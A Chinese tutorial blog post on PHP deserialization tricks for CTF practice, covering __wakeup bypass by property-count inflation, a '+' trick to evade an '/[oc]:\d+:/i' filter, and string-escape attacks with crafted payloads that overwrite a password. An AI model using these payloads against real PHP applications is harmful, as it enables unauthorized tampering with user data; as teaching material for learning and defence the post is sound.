php反序列化姿势学习

article/2025/4/8 11:28:04

php反序列化姿势学习

    • 1.__wakeup()函数绕过
    • 2./[oc]:\d+:/i研究
    • php反序列化逃逸
        • 1.替换后字符串增加
        • 2.替换后字符串减少

1.__wakeup()函数绕过

wakeup函数作为php反序列化中的一个函数,也经常被拿来当做考点,比如这样

    function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } 

分析:$this->file != 'index.php//如果界面不为index.php
$this->file = ‘index.php’; //界面就强制改为index.php
这对想看flag.php的童鞋就比较为难了。
那怎么绕过呢?
其实当序列化中的属性数大于实际的属性数时,则可跳过wakeup魔术函数执行
什么意思呢?上代码(随便写了一个序列化)

class Student{  
public $a=123;
}
$Student=new Student;
$q=serialize($Student);
echo "$q";

这串代码序列化后的值是这样的

O:7:"Student":1:{s:1:"a";i:123;}

我们着重关注从左往右数的第一个1,这个1代表student类的属性个数,这里因为只public一个a参数所以为1。
然后我们把1改为2即可绕过wakeup函数。

2./[oc]:\d+:/i研究

第一次看到这个有点迷糊,以为是啥限制,后来查阅资料了解到
OC:正则表达式

正则表达式是对字符串操作的一种逻辑公式,就是用事先定义好的一些特定字符、
及这些特定字符的组合,组成一个“规则字符串”,
这个“规则字符串”用来表达对字符串的一种过滤逻辑。

\d+:/i是什么意思呢

\d:  匹配一个数字字符。等价于 [0-9]。+:  匹配前面的子表达式一次或多次。例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等价于 {1,}。
/i:  表示匹配的时候不区分大小写

所以这个正则表达式就是查看是否有数字。
试试绕过下面的正则表达式

if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); }

因为反序列化是有数字的,这个该怎么绕过呢?
方法:加一个加号即可

O:+7:"Student":1:{s:1:"a";i:123;}

原因:

https://www.phpbug.cn/archives/32.html

放一个加号可以直接退出序列处理,从而绕过正则匹配。

php反序列化逃逸

首先介绍下与逃逸有关的php反序列化特点:
1.}后的东西不会被解析
例如:

$a='O:7:"Student":1:{s:1:"a";i:123;}12312121';
var_dump(unserialize($a));

这串代码经过反序列化后会变成这样

object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(7) "Student" ["a"]=> int(123) } 

其中后面的12312121不会显示

其他的例如不对应会报错,可以随意改值啥的就不说了。

反序列化逃逸怎么来呢?网站一般会在输入框会验证是否输入合法的字符,如果不合法,有些网站可能会把不合法的字符给替换掉,然后把输入的值进行反序列化,这就造成了反序列化逃逸漏洞。

例如:

function filter($str){
$filter='/hack/i';//替换hack成为itiswrongreturn preg_replace($filter, 'itiswrong', $str);
}
class login{public $name='testi';public $password='123456';
}
}

既然说到了替换,那自然有替换后字符串增加和替换后字符串减少的两种情况,其对应的逃逸方法也各不相同

1.替换后字符串增加

我们先构造下图代码来测试(先看懂代码再往下看)

<?php
function filter($str){
$filter='/hack/i';return preg_replace($filter, 'itiswrong', $str);
}
class login{public $name='testi';public $password='123456';
}$login=new login();
$out1=serialize($login);
$res=filter(serialize($login));
echo $out1;
echo "<br />";
echo $res;
echo "<br />";
$qq=unserialize($res);echo "name:";
echo $qq->name;
echo "<br />";
echo "password:";
echo $qq->password;
?>

运行后,name里面未加hack就是第一张图,加了hack就是第二张图
在这里插入图片描述我们不难发现,第二张图替换后长度和字符串不对应,导致后面name和password读不出来,这就是漏洞所在。
我们可以在name这一输入框(假设有,代码里没实现)构造一个特殊的字符串,再使用}把后面的password给弄掉,使之不能读取,就实现了改密码的功能。
在这里插入图片描述话不多说,开干。
由于要替换password,但因为替换前是hack,替换后是itiswrong,多了5个字符,那我们要构造5的倍数的字符串。

";s:8:"password";s:5:"12345";}(长度为30,密码随便改,但要符合替换长度)

30/5=6,所以我们构造6个hack,至此,攻击代码如下

hackhackhackhackhackhacktesti";s:8:"password";s:5:"12345";}

攻击页面:
在这里插入图片描述
可以看到,password被替换成12345,成功逃逸!

2.替换后字符串减少

还是使用上面的代码,但是改为由hack替换成no
初始密码由123456改为12345,方便一些

这种该怎么办呢?
由于前面name缩水,在name处进行逃逸已经不行了,所以我们选择在password处进行逃逸。
构造特殊的字符,使name那一栏把password那一栏的值给吃掉,然后在password处构造新密码,最后}结尾,不就逃逸成功了?
话不多说,开干

<?php
function filter($str){
$filter='/hack/i';return preg_replace($filter, 'no', $str);
}
class login{public $name='testi';public $password='12345';
}$login=new login();
$out1=serialize($login);
$res=filter(serialize($login));
echo $out1;
echo "<br />";
echo $res;
echo "<br />";
$qq=unserialize($res);echo "name:";
echo $qq->name;
echo "<br />";
echo "password:";
echo $qq->password;
?>

我们要吞掉了字符串是这些

";s:8:"password";s:5:"12345(总共27)这里注意,往password框中填入逃逸代码后会使原始的5增长到两位数,所以前面吞的数量要加1

hack替换成no总共少2个
所以28/2=14
我们构造14个hack即可
所以最终在name处构造

hackhackhackhackhackhackhackhackhackhackhackhackhackhacktesti

在password处构造

12345";s:8:"password";s:4:"1234";}

构造成功截图(其中灰色代表实际上被吞掉的数量,总共28位)
在这里插入图片描述可以看到密码被改成1234,成功逃逸!

后面学到了再写,待续…


http://chatgpt.dhexx.cn/article/6a7ti0dh.shtml

相关文章

【web漏洞】PHP反序列化

目录 知识点反序列化常用方法&#xff1a;序列化的&#xff08;构造payload&#xff09;运行顺序反序列化的&#xff08;实现payload&#xff09;运行顺序绕过__wakeup()__tostring() 知识点 序列化&#xff08;serialize&#xff09;&#xff1a; 对象的状态信息转换为可以存…

PHP反序列化CTF例题

渗透学习 不安全的反序列化之PHP反序列化 文章目录 渗透学习前言*本文只做学习用途&#xff0c;严禁利用本文提到的技术进行非法攻击&#xff0c;否则后果自负&#xff0c;本人不承担任何责任。* 一、CTF例题二、PHP反序列化漏洞和XSS跨站脚本总结 前言 本系列用于记录本人渗…

php反序列化漏洞

php反序列化漏洞 关于php面向对象编程&#xff1a; 对象&#xff1a;可以对其做事情的一些东西。一个对象有状态、行为和标识三种属性。 类&#xff1a;一个共享相同结构和行为的对象的集合。 每个类的定义都以关键字class开头&#xff0c;后面跟着类的名字。一个类可以包含有…

PHP反序列化漏洞总结

文章目录 一、 基础知识1、什么是反序列化漏洞:序列化与反序列化&#xff1a;1、序列化&#xff1a;2、反序列化&#xff1a; 二、PHP魔法函数1、常见方法:2、安全问题&#xff1a; 三、CTF中的反序列化例题一&#xff1a;例题二&#xff1a; 四、靶场练习1、反序列化触发XSS&a…

通过简单案例接触PHP反序列化

渗透学习 不安全的反序列化之反序列化基础 文章目录 渗透学习前言*本文只做学习用途&#xff0c;严禁利用本文提到的技术进行非法攻击&#xff0c;否则后果自负&#xff0c;本人不承担任何责任。* 一、序列化和反序列化二、PHP反序列化漏洞1.serialize()2.unserialize()3.反序…

php反序列化--字符串逃逸

php反序列化–字符串逃逸 PHP反序列化的字符串逃逸&#xff0c;一共分有两种情况&#xff0c;情况一&#xff1a;过滤后字符串变多&#xff0c;情况二&#xff1a;过滤后字符变少(本篇文章默认已有反序列化相关知识基础) 过滤后字符串变多 以ctfshow-web262为例讲解&#xf…

php反序列化漏洞(一)

PHP反序列化漏洞就是PHP对象注入 序列化&#xff1a;serialize 反序列化&#xff1a;unserialize 序列化其实就是将数据转换成可逆的数据结构&#xff0c;这种数据结构可认为是字符串。可逆的过程则为反序列化。 那么序列化有什么作用&#xff1f; 方便储存和传输。在PHP中…

php反序列化字符逃逸

前言 在了解php反序列化漏洞后&#xff0c;我又进一步学习了字符逃逸的相关内容。这一部分相对来说是比较难理解的。我也是在网上看了很多篇文章&#xff0c;再次自己总结一下究竟什么是字符逃逸&#xff0c;也方便日后复习。 字符逃逸的原理 什么是字符逃逸&#xff0c;从字…

php反序列化[基础]

基础 概述 序列化:把复杂的数据类型压缩到一个字符串中 数据类型可以是数组&#xff0c;字符串&#xff0c;对象等 函数 : serialize() 反序列化:恢复原先被序列化的变量 函数: unserialize() serialize()函数用于序列化对象或数组&#xff0c;并返回一个字符串 据访问修饰…

PHP中序列化与反序列化

PHP序列化&#xff1a;serialize 序列化是将变量或对象转换成字符串的过程。 举例&#xff1a; <?php class man{public $name;public $age;public $height;function __construct($name,$age,$height){ //_construct&#xff1a;创建对象时初始化$this->name …

(37)【PHP反序列化】PHP反序列化原理、函数、利用过程

目录 一、简介&#xff1a; 二、原理&#xff1a; 2.1、函数&#xff1a; 2.1.1、serialize()序列化 2.1.2、unserialize()反序列化 三、常见的序列化格式&#xff1a; 四、产生的原因&#xff1a; 4.1、无类&#xff1a; 4.2、有类&#xff1a; 五、魔术方法&#x…

php反序列化总结

php反序列化总结 基础知识 序列化 序列化就是将 对象object、字符串string、数组array、变量 转换成具有一定格式的字符串&#xff0c;方便保持稳定的格式在文件中传输&#xff0c;以便还原为原来的内容。 serialize ( mixed $value ) : stringserialize() 返回字符串&…

PHP反序列化入门手把手详解

PHP反序列化入门手把手详解 前言:文章内容大致可分为原理详解-漏洞练习- 防御方法。文章内容偏向于刚接触PHP反序列化的师傅,是一篇对PHP反序列化入门的手把手教学文章。文章特色在于对PHP反序列化原理的详细分析以及一系列由简入深的PHP反序列化习题练习和分析讲解。文章写作初…

[CTF]PHP反序列化总结

文章目录 PHP反序列化这一篇就够了简介常见的序列化格式案例引入反序列化中常见的魔术方法反序列化绕过小Trickphp7.1反序列化对类属性不敏感绕过__wakeup(CVE-2016-7124)绕过部分正则利用引用16进制绕过字符的过滤PHP反序列化字符逃逸情况1&#xff1a;过滤后字符变多情况2&am…

测试用例介绍

测试用例 用例介绍 定义 为某个业务目标而编制的一组由测试输入&#xff0c;执行条件以及预期结果组成的案例。 为什么要学习测试用例&#xff1f; 再开始测试之前设计好测试用例&#xff0c;可以避免盲目测试并提高测试效率。测试用例的使用令软件测试的实施突出重点、目…

软件测试的测试用例应该怎么编写和模板

这个是软件测试的模板下面是软件测试的一些测试点和测试方法 硬件测试方法: 1.界面测试 2.性能测试(压力测试、稳定性测试) 3.恢复性测试 4.兼容性测试 5.安全性测试 6.破坏性测试 7.可用性测试 8.易用性测试 9.功能操作测试 软件测试: loading:加载中。 可视化页面可操作元素…

测试用例模板

测试用例模板 文章目录 前言1.文件原地址2.测试用例模板1.测试用例模板012.测试用例模板023.测试用例模板034.测试用例模板045.测试用例模板05 2上线回归测试1.回归测试检查表01 3.其他见过的模型参考关键词链接 前言 这个是模仿别人的模板来进行补充的。有些是不需要的&…

测试用例模板及测试报告分析

文章目录 前言一、等价类划分二、边界值三、错误推测法四、因果图法判定表驱动法设计步骤设计策略 前言 文章主要介绍常见测试用例的设计方法 提示&#xff1a;以下是本篇文章正文内容&#xff0c;下面案例可供参考 一、等价类划分 等价类划分主要适用于单个输入条件&#x…

测试 - 用例篇

文章目录 测试用例的基本要素基于需求设计的测试用例接下来就是针对一个功能的不同输入,对应着不同的输出功能之间的交互性异常信息的处理 等价类边界值错误猜测法 美团面试题:水杯测试用例场景法因果图法 复习 因为这篇博客是关于如何写测试用例,尽可能多的涵盖测试用例,所以我…

软件测试当中的测试用例模板,仅供参考

测试用例这块知识、经验&#xff0c;小酋在前面陆续都讲完了。这章提供几种用例模板&#xff0c;作为这块知识的收尾。 - 1 - 测试用例&#xff08;主指功能测试用例模板&#xff09;的内容通常包括测试目标&#xff08;目的&#xff09;&#xff0c;需求标示&#xff08;一般…